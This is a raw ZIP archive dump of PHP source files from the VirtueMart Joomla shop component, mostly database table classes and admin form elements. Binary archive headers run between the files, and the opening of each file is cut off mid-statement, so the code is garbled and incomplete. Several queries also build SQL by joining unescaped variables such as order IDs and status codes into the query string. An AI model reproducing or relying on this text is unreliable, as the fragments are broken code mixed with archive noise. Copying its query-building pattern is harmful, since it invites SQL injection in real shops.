in the translatable, if existing $this->setLoggable(); $this->setTranslatable(array('vendor_store_name','vendor_phone','vendor_store_desc','vendor_terms_of_service','vendor_legal_info','vendor_url','metadesc','metakey','customtitle','vendor_letter_css', 'vendor_letter_header_html', 'vendor_letter_footer_html')); $varsToPushParam = array( 'vendor_min_pov'=>array(0.0,'float'), 'vendor_min_poq'=>array(1,'int'), 'vendor_freeshipment'=>array(0.0,'float'), 'vendor_address_format'=>array('','string'), 'vendor_date_format'=>array('','string'), 'vendor_letter_format'=>array('A4','string'), 'vendor_letter_orientation'=>array('P','string'), 'vendor_letter_margin_top'=>array(45,'int'), 'vendor_letter_margin_left'=>array(25,'int'), 'vendor_letter_margin_right'=>array(25,'int'), 'vendor_letter_margin_bottom'=>array(25,'int'), 'vendor_letter_margin_header'=>array(12,'int'), 'vendor_letter_margin_footer'=>array(20,'int'), 'vendor_letter_font'=>array('helvetica','string'), 'vendor_letter_font_size'=>array(8, 'int'), 'vendor_letter_header_font_size'=>array(7, 'int'), 'vendor_letter_footer_font_size'=>array(6, 'int'), 'vendor_letter_header'=>array(1,'int'), 'vendor_letter_header_line'=>array(1,'int'), 'vendor_letter_header_line_color'=>array("#000000",'string'), 'vendor_letter_header_image'=>array(1,'int'), 'vendor_letter_header_imagesize'=>array(60,'int'), 'vendor_letter_header_cell_height_ratio'=>array(1,'float'), 'vendor_letter_footer'=>array(1,'int'), 'vendor_letter_footer_line'=>array(1,'int'), 'vendor_letter_footer_line_color'=>array("#000000",'string'), 'vendor_letter_footer_cell_height_ratio'=>array(1,'float'), 'vendor_letter_add_tos' => array(0,'int'), 'vendor_letter_add_tos_newpage' => array(1,'int') ); $this->setParameterable('vendor_params',$varsToPushParam); $this->setTableShortCut('v'); // vmdebug('myvendor table',$this); } } //pure php no closing tag PKB\̅m&tables/paymentmethod_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_paymentmethod_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKB\tables/waitingusers.phpnuW+AsetLoggable(); } function check() { if(empty($this->notify_email) || !filter_var($this->notify_email, FILTER_VALIDATE_EMAIL)) { vmError(JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS'),JText::_('COM_VIRTUEMART_ENTER_A_VALID_EMAIL_ADDRESS')); return false; } return parent::check(); } } // pure php no closing tag PKB\tables/languages.phpnuW+AsetTableShortCut('l'); } } // pure php no closing tag PKB\ܓC  tables/product_categories.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_category_id'); $this->setOrderable('ordering',false); } } PKB\zztables/manufacturers.phpnuW+AsetUniqueName('mf_name'); $this->setLoggable(); $this->setTranslatable(array('mf_name','mf_email','mf_desc','mf_url')); $this->setSlug('mf_name'); $this->setTableShortCut('m'); } } // pure php no closing tag PKB\mntables/manufacturer_medias.phpnuW+AsetPrimaryKey('virtuemart_manufacturer_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PKB\qtables/orders.phpnuW+AsetUniqueName('order_number'); $this->setLoggable(); $this->setTableShortCut('o'); } function check(){ if(empty($this->order_number)){ if(!class_exists('VirtueMartModelOrders')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'orders.php'); $this->order_number = VirtueMartModelOrders::generateOrderNumber((string)time()); } if(empty($this->order_pass)){ $this->order_pass = 'p_'.substr( md5((string)time().$this->order_number ), 0, 5); } $adminID = JFactory::getSession()->get('vmAdminID'); if(isset($adminID)) { $this->created_by = $adminID; } return parent::check(); } /** * Overloaded delete() to delete records from order_userinfo and order payment as well, * and write a record to the order history (TODO Or should the hist table be cleaned as well?) * * @var integer Order id * @return boolean True on success * @author Oscar van Eijk * @author Kohl Patrick */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE from `#__virtuemart_order_userinfos` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_payment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `payment_element` FROM `#__virtuemart_paymentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_paymentmethods`.`virtuemart_paymentmethod_id` = `#__virtuemart_orders`.`virtuemart_paymentmethod_id` AND `virtuemart_order_id` = ' . $id ); $paymentTable = '#__virtuemart_payment_plg_'. $this->_db->loadResult(); $this->_db->setQuery('DELETE from `'.$paymentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } /*vm_order_shipment NOT EXIST have to find the table name*/ $this->_db->setQuery( 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); $shipmentName = $this->_db->loadResult(); if(empty($shipmentName)){ vmError('Seems the used shipmentmethod got deleted'); //Can we securely prevent this just using // 'SELECT `shipment_element` FROM `#__virtuemart_shipmentmethods` , `#__virtuemart_orders` // WHERE `#__virtuemart_shipmentmethods`.`virtuemart_shipmentmethod_id` = `#__virtuemart_orders`.`virtuemart_shipmentmethod_id` AND `virtuemart_order_id` = ' . $id ); } else { $shipmentTable = '#__virtuemart_shipment_plg_'. $shipmentName; $this->_db->setQuery('DELETE from `'.$shipmentTable.'` WHERE `virtuemart_order_id` = ' . $id); if ($this->_db->query() === false) { vmError('TableOrders delete Order shipmentTable = '.$shipmentTable.' `virtuemart_order_id` = '.$id.' dbErrorMsg '.$this->_db->getError()); return false; } } $_q = 'INSERT INTO `#__virtuemart_order_histories` (' . ' virtuemart_order_history_id' . ',virtuemart_order_id' . ',order_status_code' . ',created_on' . ',customer_notified' . ',comments' .') VALUES (' . ' NULL' . ','.$id . ",'-'" . ',NOW()' . ',0' . ",'Order deleted'" .')'; $this->_db->setQuery($_q); $this->_db->query(); // Ignore error here return parent::delete($id); } } PKB\ftables/worldzones.phpnuW+AsetUniqueName('zone_name'); $this->setLoggable(); } } // pure php no closing tag PKB\4CETTtables/coupons.phpnuW+AsetObligatoryKeys('coupon_code'); $this->setLoggable(); } } // pure php no closing tag PKB\ftables/calc_states.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_state_id'); } } PKB\2nNU U !tables/manufacturercategories.phpnuW+AsetUniqueName('mf_category_name'); $this->setLoggable(); $this->setTranslatable(array('mf_category_name','mf_category_desc')); $this->setSlug('mf_category_name'); } /* * Verify that user have to delete all manufacturers of a particular category before that category can be removed * * @return boolean True if category is ready to be removed, otherwise False */ function checkManufacturer($categoryId = 0) { if($categoryId > 0) { $db = JFactory::getDBO(); $q = 'SELECT count(*)' .' FROM #__virtuemart_manufacturers' .' WHERE virtuemart_manufacturercategories_id = '.$categoryId; $db->setQuery($q); $mCount = $db->loadResult(); if($mCount > 0) { vmInfo('COM_VIRTUEMART_REMOVE_IN_USE'); return false; } } return true; } } // pure php no closing tag PKB\K>tables/rating_votes.phpnuW+AsetPrimaryKey('virtuemart_rating_vote_id'); $this->setLoggable(); } } // pure php no closing tag PKB\tables/order_calc_rules.phpnuW+AsetLoggable(); } } // pure php no closing tag PKB\tables/reports.phpnuW+AsetPrimaryKey('virtuemart_media_id'); // $this->setUniqueName('file_title'); $this->setLoggable (); } /** * * @author Max Milbers * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check () { $ok = TRUE; $notice = TRUE; if (empty($this->file_type) and empty($this->file_is_forSale)) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_MEDIA_NO_TYPE'), $this->file_name); } if (!empty($this->file_url)) { if (function_exists ('mb_strlen')) { if (mb_strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', mb_strlen ($this->file_url))); } } else { if (strlen ($this->file_url) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_URL_TOO_LONG', strlen ($this->file_url))); } } if (strpos ($this->file_url, '..') !== FALSE) { $ok = FALSE; vmError (JText::sprintf ('COM_VIRTUEMART_URL_NOT_VALID', $this->file_url)); } if (empty($this->virtuemart_media_id)) { $q = 'SELECT `virtuemart_media_id`,`file_url` FROM `' . $this->_tbl . '` WHERE `file_url` = "' . $this->_db->getEscaped ($this->file_url) . '" '; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $count = count ($unique_id); if ($count !== 0) { if ($count == 1) { if (empty($this->virtuemart_media_id)) { $this->virtuemart_media_id = $unique_id[0]['virtuemart_media_id']; } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_ALREADY_IN_DB')); $ok = FALSE; } } else { // vmError(JText::_('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); vmError (JText::_ ('COM_VIRTUEMART_MEDIA_IS_DOUBLED_IN_DB')); $ok = FALSE; } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_URL')); $ok = FALSE; } if (empty($this->file_title) && !empty($this->file_name)) { $this->file_title = $this->file_name; } if (!empty($this->file_title)) { if (strlen ($this->file_title) > 126) { vmError (JText::sprintf ('COM_VIRTUEMART_TITLE_TOO_LONG', strlen ($this->file_title))); } $q = 'SELECT * FROM `' . $this->_tbl . '` '; $q .= 'WHERE `file_title`="' . $this->_db->getEscaped ($this->file_title) . '" AND `file_type`="' . $this->_db->getEscaped ($this->file_type) . '"'; $this->_db->setQuery ($q); $unique_id = $this->_db->loadAssocList (); $tblKey = 'virtuemart_media_id'; if (!empty($unique_id)) { foreach ($unique_id as $item) { if ($item['virtuemart_media_id'] != $this->virtuemart_media_id) { $lastDir = substr ($this->file_url, 0, strrpos ($this->file_url, '/')); $lastDir = substr ($lastDir, strrpos ($lastDir, '/') + 1); if (!empty($lastDir)) { $this->file_title = $this->file_title . '_' . $lastDir; } else { $this->file_title = $this->file_title . '_' . rand (1, 9); } } } } } else { vmError (JText::_ ('COM_VIRTUEMART_MEDIA_MUST_HAVE_TITLE')); $ok = FALSE; } if (!empty($this->file_description)) { if (strlen ($this->file_description) > 254) { vmError (JText::sprintf ('COM_VIRTUEMART_DESCRIPTION_TOO_LONG', strlen ($this->file_description))); } } // $app = JFactory::getApplication(); //vmError('Checking '.$this->file_url); if (empty($this->file_mimetype)) { $rel_path = str_replace ('/', DS, $this->file_url); //The function mime_content_type is deprecated, we may use /*function _mime_content_type($filename) { $result = new finfo(); if (is_resource($result) === true) { return $result->file($filename, FILEINFO_MIME_TYPE); } return false; } if (function_exists ('mime_content_type')) { $ok = TRUE; $app = JFactory::getApplication (); if (!$this->file_is_forSale) { $this->file_mimetype = mime_content_type (JPATH_ROOT . DS . $rel_path); } else { $this->file_mimetype = mime_content_type ($rel_path); } if (!empty($this->file_mimetype)) { if ($this->file_mimetype == 'directory') { vmError ('cant store this media, is a directory ' . $rel_path); return FALSE; } else { if (strpos ($this->file_mimetype, 'corrupt') !== FALSE) { vmError ('cant store this media, Document corrupt: Cannot read summary info ' . $rel_path); return FALSE; } } } else { vmError ('Couldnt resolve mime ' . $rel_path); return FALSE; } } else {*/ if (!class_exists ('JFile')) { require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'filesystem' . DS . 'file.php'); } if (!$this->file_is_forSale) { $lastIndexOfSlash = strrpos ($this->file_url, '/'); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } else { $lastIndexOfSlash = strrpos ($this->file_url, DS); $name = substr ($this->file_url, $lastIndexOfSlash + 1); $file_extension = strtolower (JFile::getExt ($name)); } if (empty($name)) { vmError (JText::_ ('COM_VIRTUEMART_NO_MEDIA')); } //images elseif($file_extension === 'jpg' or $file_extension === 'jpeg' or $file_extension === 'jpe'){ $this->file_mimetype = 'image/jpeg'; } elseif($file_extension === 'gif'){ $this->file_mimetype = 'image/gif'; } elseif($file_extension === 'png'){ $this->file_mimetype = 'image/png'; } elseif($file_extension === 'bmp'){ vmInfo(JText::sprintf('COM_VIRTUEMART_MEDIA_SHOULD_NOT_BMP',$name)); $notice = true; } //audio elseif($file_extension === 'mp3'){ $this->file_mimetype = 'audio/mpeg'; } elseif($file_extension === 'ogg'){ $this->file_mimetype = 'audio/ogg'; } elseif($file_extension === 'oga'){ $this->file_mimetype = 'audio/vorbis'; } elseif($file_extension === 'wma'){ $this->file_mimetype = 'audio-/x-ms-wma'; } //video //added missing mimetypes: m2v elseif( $file_extension === 'mp4' or $file_extension === 'mpe' or $file_extension === 'mpeg' or $file_extension === 'mpg' or $file_extension === 'mpga' or $file_extension === 'm2v'){ $this->file_mimetype = 'video/mpeg'; } elseif($file_extension === 'avi'){ $this->file_mimetype = 'video/x-msvideo'; } elseif($file_extension === 'qt' or $file_extension === 'mov'){ $this->file_mimetype = 'video/quicktime'; } elseif($file_extension === 'wmv'){ $this->file_mimetype = 'video/x-ms-wmv'; } //Added missing formats elseif($file_extension === '3gp'){ $this->file_mimetype = 'video/3gpp'; } elseif($file_extension === 'ogv'){ $this->file_mimetype = 'video/ogg'; } elseif($file_extension === 'flv'){ $this->file_mimetype = 'video/x-flv'; } elseif($file_extension === 'f4v'){ $this->file_mimetype = 'video/x-f4v'; } elseif($file_extension === 'm4v'){ $this->file_mimetype = 'video/x-m4v'; } elseif($file_extension === 'webm'){ $this->file_mimetype = 'video/webm'; } //applications elseif($file_extension === 'zip'){ $this->file_mimetype = 'application/zip'; } elseif($file_extension === 'pdf'){ $this->file_mimetype = 'application/pdf'; } elseif($file_extension === 'gz'){ $this->file_mimetype = 'application/x-gzip'; } elseif($file_extension === 'exe'){ $this->file_mimetype = 'application/octet-stream'; } elseif($file_extension === 'swf'){ $this->file_mimetype = 'application/x-shockwave-flash'; } //missing types elseif($file_extension === 'doc'){ $this->file_mimetype = 'application/msword'; } elseif($file_extension === 'docx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'; } elseif($file_extension === 'xls'){ $this->file_mimetype = 'application/vnd.ms-excel'; } elseif($file_extension === 'xlsx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'; } elseif($file_extension === 'ppt'){ $this->file_mimetype = 'application/vnd.ms-powerpoint'; } elseif($file_extension === 'pptx'){ $this->file_mimetype = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'; } elseif($file_extension === 'txt'){ $this->file_mimetype = 'text/plain'; } elseif($file_extension === 'rar'){ $this->file_mimetype = 'application/x-rar-compressed'; } else { vmInfo (JText::sprintf ('COM_VIRTUEMART_MEDIA_SHOULD_HAVE_MIMETYPE', $name)); $notice = TRUE; } //} } //Nasty small hack, should work as long the word for default is in the language longer than 3 words and the first //letter should be always / or something like this //It prevents storing of the default path $a = trim(substr($this->file_url_thumb,0,4)); $b = trim(substr(JText::_('COM_VIRTUEMART_DEFAULT_URL'),0,4)); if( strpos($a,$b)!==FALSE ){ $this->file_url_thumb = null; } if ($ok) { return parent::check (); } else { return FALSE; } } /** * We need a customised error handler to catch the errors maybe thrown by * mime_content_type * * @author Max Milbers derived from Philippe Gerber */ function handleError ($errno, $errstr) { // error was suppressed with the @-operator if (0 === error_reporting ()) { return FALSE; } throw new ErrorException($errstr, 0); //echo 'I throw exception'; //throw new ErrorException($errstr, 0, $errno, $errfile, $errline); } } // pure php no closing tag PKB\$tables/vendor_medias.phpnuW+AsetPrimaryKey('virtuemart_vendor_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable(); } } PKB\@c tables/customs.phpnuW+AsetUniqueName('custom_title'); $this->setObligatoryKeys('field_type'); $this->setLoggable(); $this->setOrderable('ordering',false); } /* * field from 3 table have to be checked at delete * #__vm_custom_field,#__virtuemart_customs,#__virtuemart_product_customfields */ function delete( $id=null , $where = 0 ){ $this->_db->setQuery('DELETE X,C FROM `#__virtuemart_customs` AS C LEFT JOIN `#__virtuemart_product_customfields` AS X ON X.`virtuemart_custom_id` = C.`virtuemart_custom_id` WHERE C.`virtuemart_custom_id`=' . $id); if ($this->_db->query() === false) { vmError($this->_db->getError()); return false; } return true; } } // pure php no closing tag PKB\Ikktables/rating_reviews.phpnuW+AsetPrimaryKey('virtuemart_rating_review_id'); $this->setObligatoryKeys('comment'); $this->setLoggable(); } } // pure php no closing tag PKB\ J//tables/configs.phpnuW+AsetLoggable(); } } // pure php no closing tag PKB\\\tables/shoppergroups.phpnuW+AsetUniqueName('shopper_group_name'); $this->setLoggable(); $this->setTableShortCut('sg'); } // /** // * Validates the shopper group record fields. // * // * @author Markus Öhler // * @return boolean True if the table buffer contains valid data, false otherwise. // */ function check(){ if (empty($this->shopper_group_name) ){ vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_RECORDS_MUST_HAVE_NAME')); return false; } else { if(function_exists('mb_strlen') ){ if (mb_strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } else { if (strlen($this->shopper_group_name) > 32) { vmError(JText::_('COM_VIRTUEMART_SHOPPERGROUP_NAME_LESS_THAN_32_CHARACTERS')); return false; } } } return parent::check(); } } // pure php no closing tag PKB\D tables/orderstates.phpnuW+AsetObligatoryKeys('order_status_code'); $this->setObligatoryKeys('order_status_name'); $this->setObligatoryKeys('order_stock_handle'); $this->setLoggable(); } /** * Validates the order status record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check(){ $db = JFactory::getDBO(); $q = 'SELECT count(*),virtuemart_orderstate_id FROM `#__virtuemart_orderstates` '; $q .= 'WHERE `order_status_code`="' . $this->order_status_code . '"'; $db->setQuery($q); $row = $db->loadRow(); if(is_array($row)){ if($row[0]>0){ if($row[1] != $this->virtuemart_orderstate_id){ vmError(JText::_('COM_VIRTUEMART_ORDER_STATUS_CODE_EXISTS')); return false; } } } return parent::check(); } } //No CLosing Tag PKB\0 tables/calcs.phpnuW+AsetUniqueName('calc_name'); $this->setObligatoryKeys('calc_kind'); $this->setLoggable(); } } // pure php no closing tag PKB\ptables/products.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setObligatoryKeys('product_name'); $this->setLoggable(); $this->setTranslatable(array('product_name','product_s_desc','product_desc','metadesc','metakey','customtitle')); $this->setSlug('product_name'); $this->setTableShortCut('p'); //We could put into the params also the product_availability and the low_stock_notification $varsToPushParam = array( 'min_order_level'=>array(null,'float'), 'max_order_level'=>array(null,'float'), 'step_order_level'=>array(null,'float'), //'product_packaging'=>array(null,'float'), 'product_box'=>array(null,'float') ); $this->setParameterable('product_params',$varsToPushParam); $this->_updateNulls = true; } } // pure php no closing tag PKB\3,//tables/product_medias.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_media_id'); $this->setOrderable('ordering',true); // $this->setOrderableFormname('mediaordering'); } } PKB\%::tables/countries.phpnuW+AsetUniqueName('country_name'); $this->setObligatoryKeys('country_2_code'); $this->setObligatoryKeys('country_3_code'); $this->setLoggable(); $this->setOrderable('ordering',false); } } // pure php no closing tag PKB\y00tables/states.phpnuW+AsetUniqueName('state_name'); $this->setObligatoryKeys('state_2_code'); $this->setObligatoryKeys('state_3_code'); $this->setLoggable(); } } // pure php no closing tag PKB\tables/index.htmlnuW+APKB\ KRRtables/usergroups.phpnuW+AsetUniqueName('group_name'); $this->setLoggable(); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues){ if (preg_match('/[^a-z0-9\._\-]/i', $this->group_name) > 0) { vmError(JText::_('COM_VIRTUEMART_PERMISSION_GROUP_NAME_INVALID_CHARACTERS')); return false; } return parent::check(); } } //No CLosing Tag PKB\mK% tables/product_manufacturers.phpnuW+AsetPrimaryKey('virtuemart_product_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PKB\Sttables/calc_countries.phpnuW+AsetPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_country_id'); } } PKB\ߝtables/category_categories.phpnuW+AsetPrimaryKey('category_child_id'); $this->setOrderable(); $this->setTableShortCut('cx'); } }PKB\mPPtables/userfields.phpnuW+AsetPrimaryKey('virtuemart_userfield_id'); $this->setUniqueName('name'); $this->setObligatoryKeys('title'); $this->setLoggable(); $this->setOrderable('ordering',false); } /** * Validates the userfields record fields. * * @return boolean True if the table buffer is contains valid data, false otherwise. */ function check($nrOfValues) { if (preg_match('/[^a-z0-9\._\-]/i', $this->name) > 0) { vmError(JText::_('COM_VIRTUEMART_NAME_OF_USERFIELD_CONTAINS_INVALID_CHARACTERS')); return false; } if($this->name !='virtuemart_country_id' and $this->name !='virtuemart_state_id'){ $reqValues = array('select', 'multiselect', 'radio', 'multicheckbox'); if (in_array($this->type, $reqValues) and $nrOfValues == 0 ) { vmError(JText::_('COM_VIRTUEMART_VALUES_ARE_REQUIRED_FOR_THIS_TYPE')); return false; } } return parent::check(); } /** * Format the field type * @param $_data array array with additional data written to other tables * @return string Field type in SQL syntax */ function formatFieldType(&$_data = array()) { $_fieldType = $this->type; switch($this->type) { case 'date': $_fieldType = 'DATE'; break; case 'editorta': case 'textarea': case 'multiselect': case 'multicheckbox': $_fieldType = 'MEDIUMTEXT'; break; case 'checkbox': $_fieldType = 'TINYINT'; break; case 'age_verification': $this->params = 'minimum_age='.(int)$_data['minimum_age']."\n"; default: $_fieldType = 'VARCHAR(255)'; break; } return $_fieldType; } /** * Reimplement the store method to return the last inserted ID * * @return mixed When a new record was succesfully inserted, return the ID, otherwise the status */ public function store($updateNulls = false) { $isNew = ($this->virtuemart_userfield_id == 0); if (!parent::store($updateNulls)) { // Write data to the DB vmError($this->getError()); return false; } else { return $this->virtuemart_userfield_id; } } function checkAndDelete($table,$where = 0){ $ok = 1; $k = $this->_tbl_key; if($where!==0){ $whereKey = $where; } else { $whereKey = $this->_pkey; } $query = 'SELECT `'.$this->_tbl_key.'` FROM `'.$table.'` WHERE '.$whereKey.' = "' .$this->$k . '"'; // stAn - it should be better to add this directly to the controller of the shopper fields // only additionally, controllers are not considered as safe. if (isset($this->name)) { $umodel = VmModel::getModel('userfields'); $arr = $umodel->getCoreFields(); if (in_array($this->name, $arr)) { vmError('Cannot delete core field!'); return false; } } $this->_db->setQuery( $query ); $list = $this->_db->loadResultArray(); if($list){ foreach($list as $row){ $ok = $row; $query = 'DELETE FROM `'.$table.'` WHERE '.$this->_tbl_key.' = "'.$row.'"'; $this->_db->setQuery( $query ); if (!$this->_db->query()){ $this->setError($this->_db->getErrorMsg()); vmError('checkAndDelete '.$this->_db->getErrorMsg()); $ok = 0; } } } return $ok; } } //No CLosing Tag PKB\.`LLtables/order_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_id'); $this->setLoggable(); } } // pure php no closing tag PKB\H ==tables/vmuser_shoppergroups.phpnuW+AsetPrimaryKey('virtuemart_user_id'); $this->setSecondaryKey('virtuemart_shoppergroup_id'); } } PKB\/<tables/order_userinfos.phpnuW+AsetLoggable(); } } // No closing tagPKB\)btables/order_item_histories.phpnuW+AsetObligatoryKeys('virtuemart_order_item_id'); $this->setLoggable(); } } // pure php no closing tag PKB\o0Ntables/calc_manufacturers.phpnuW+A St.Kraft 2013-02-24 Herstellerrabatt * @param JDataBase $db */ function __construct(&$db){ parent::__construct('#__virtuemart_calc_manufacturers', 'id', $db); $this->setPrimaryKey('virtuemart_calc_id'); $this->setSecondaryKey('virtuemart_manufacturer_id'); } } PKB\AOtables/product_customfields.phpnuW+AsetPrimaryKey('virtuemart_product_id'); // $this->setSecondaryKey('virtuemart_customfield_id'); $this->setLoggable(); $this->setOrderable(); } function check(){ if(!empty($this->custom_price)){ $this->custom_price = str_replace(array(',',' '),array('.',''),$this->custom_price); } else { $this->custom_price = null; } return parent::check(); } } PKB\u elements/vmcategories.phpnuW+Aelement['key_field'] ? $this->element['key_field'] : 'value'); $val = ($this->element['value_field'] ? $this->element['value_field'] : $this->name); VmConfig::loadJLang('com_virtuemart', false); $categorylist = ShopFunctions::categoryListTree(array($this->value)); $html = '"; return $html; } function fetchElement($name, $value, &$node, $control_name) { JPlugin::loadLanguage('com_virtuemart', JPATH_ADMINISTRATOR); $categorylist = ShopFunctions::categoryListTree(array($value)); $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $html = '"; return $html; } } if (JVM_VERSION === 2 ) { class JFormFieldVmCategories extends VmElementVmCategories { } } else { class JElementVmCategories extends VmElementVmCategories { } }PKB\Q elements/vmmanufacturersmenu.phpnuW+AgetManufacturers(true, true, false); return JHTML::_('select.genericlist', $manufacturers, $control_name . '[' . $name . ']', '', $name, 'mf_name', $value, $control_name . $name); } }PKB\TʜEelements/vmcurl.phpnuW+A_getProducts(), $control_name . '[' . $name . ']', '', 'value', 'text', $value, $control_name . $name); } private function _getProducts() { $productModel = VmModel::getModel('product'); $productModel->_noLimit = true; $products = $productModel->getProductListing(false, false, false, false, true,false); $productModel->_noLimit = false; $i = 0; $list = array(); foreach ($products as $product) { $list[$i]['value'] = $product->virtuemart_product_id; $list[$i]['text'] = $product->product_name. " (". $product->product_sku.")"; $i++; } return $list; } } PKB\elements/vmcurrencies.phpnuW+AsetQuery($query); $currencies = $db->loadObjectList(); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $vendor_id = VirtueMartModelVendor::getLoggedVendor(); if (empty($value)) { $currency=VirtueMartModelVendor::getVendorCurrency ($vendor_id); $value= $currency->virtuemart_currency_id; } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return JHTML::_('select.genericlist', $currencies, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKB\q'Jelements/vmweightunit.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderWeightUnitList( $control_name . '[' . $name . ']', $value); } }PKB\##elements/vmjpluginwarning.phpnuW+Aload('com_virtuemart',JPATH_ADMINISTRATOR); $option = JRequest::getWord('option'); if ($option == 'com_virtuemart') return null; else return JText::_('COM_VIRTUEMART_PLUGIN_WARNING'); } }PKB\r񿠖elements/vmorderstate.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $db = JFactory::getDBO (); $query = 'SELECT `order_status_code` AS value, `order_status_name` AS text FROM `#__virtuemart_orderstates` WHERE `virtuemart_vendor_id` = 1 ORDER BY `ordering` ASC '; $db->setQuery ($query); $fields = $db->loadObjectList (); foreach ($fields as $field) { $field->text= JText::_ ($field->text); } return JHTML::_ ('select.genericlist', $fields, $control_name . '[' . $name . ']', $class, 'value', 'text', $value, $control_name . $name); } }PKB\lѓyyelements/vmelements.phpnuW+Aload ('com_virtuemart', JPATH_ADMINISTRATOR); // path to images directory $folder = $node->attributes ('directory'); $rel_path = str_replace ('/', DS, $folder); $path = JPATH_ROOT . DS . $rel_path; $filter = $node->attributes ('filter'); $exclude = array($node->attributes ('exclude'), '.svn', 'CVS', '.DS_Store', '__MACOSX', 'index.html'); $pattern = implode ( "|", $exclude); $stripExt = $node->attributes ('stripext'); if (!JFolder::exists ($path)) { return JText::sprintf ('COM_VIRTUEMART_FOLDER_NOT_EXIST', $node->attributes ('directory')); } $files = JFolder::files ($path, $filter, FALSE, FALSE, $exclude); $options = array(); if (!$node->attributes ('hide_none')) { $options[] = JHTML::_ ('select.option', '-1', '- ' . JText::_ ('Do not use') . ' -'); } if (!$node->attributes ('hide_default')) { $options[] = JHTML::_ ('select.option', '', '- ' . JText::_ ('Use default') . ' -'); } if (is_array ($files)) { foreach ($files as $file) { if ($exclude) { if (preg_match (chr (1) . $pattern . chr (1), $file)) { continue; } } if ($stripExt) { $file = JFile::stripExt ($file); } $options[] = JHTML::_ ('select.option', $file, $file); } } $class = ($node->attributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); $class .= ' multiple="true" size="5" data-placeholder="'.JText::_('COM_VIRTUEMART_DRDOWN_SELECT_SOME_OPTIONS').'"'; return JHTML::_ ('select.genericlist', $options, '' . $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } } }PKB\5кelements/vmtaxes.phpnuW+Aattributes('class') ? 'class="' . $node->attributes('class') . '"' : ''); return ShopFunctions::renderTaxList($value, $control_name . '[' . $name . ']', $class); // $class = 'multiple="true" size="10"'; // return JHTML::_('select.genericlist', $taxrates, $control_name . '[' . $name . '][]', $class, 'value', 'text', $value, $control_name . $name); } }PKB\Bjq&&elements/vmrules.phpnuW+Aelement['section'] ? (string) $this->element['section'] : ''; $component = $this->element['component'] ? (string) $this->element['component'] : ''; $assetField = $this->element['asset_field'] ? (string) $this->element['asset_field'] : 'asset_id'; // Get the actions for the asset. $actions = JAccess::getActions($component, $section); // Iterate over the children and add to the actions. foreach ($this->element->children() as $el) { if ($el->getName() == 'action') { $actions[] = (object) array('name' => (string) $el['name'], 'title' => (string) $el['title'], 'description' => (string) $el['description']); } } // Get the explicit rules for this asset. $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($db->quoteName('id')); $query->from($db->quoteName('#__assets')); $query->where($db->quoteName('name') . ' = ' . $db->quote($component)); $db->setQuery($query); $assetId = (int) $db->loadResult(); if ($error = $db->getErrorMsg()) { JError::raiseNotice(500, $error); } // Full width format. // Get the rules for just this asset (non-recursive). $assetRules = JAccess::getAssetRules($assetId); // Get the available user groups. $groups = $this->getUserGroups(); // Build the form control. $curLevel = 0; // Prepare output $html = array(); $html[] = '
    '; $html[] = '
    '; $html[] = '

    ' . JText::_('JLIB_RULES_SETTINGS_DESC') . '

    '; $html[] = '
